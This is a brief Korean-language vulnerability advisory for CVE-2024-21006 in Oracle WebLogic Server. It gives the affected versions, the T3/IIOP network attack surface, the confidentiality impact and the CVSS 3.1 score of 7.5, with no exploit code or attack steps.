CVE-2024-21006

설명

Oracle Fusion Middleware의 Oracle WebLogic Server 제품 취약점 (구성 요소: Core). 영향을 받는 지원 버전은 12.2.1.4.0 및 14.1.1.0.0입니다. 쉽게 악용 가능한 취약점으로, 네트워크 접근이 가능하고 인증되지 않은 공격자가 T3, IIOP를 통해 Oracle WebLogic Server를 손상시킬 수 있습니다. 이 취약점의 성공적인 공격은 중요 데이터에 대한 무단 접근 또는 Oracle WebLogic Server가 접근 가능한 모든 데이터에 대한 완전한 접근을 초래할 수 있습니다. CVSS 3.1 기본 점수 7.5 (기밀성 영향). CVSS 벡터: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
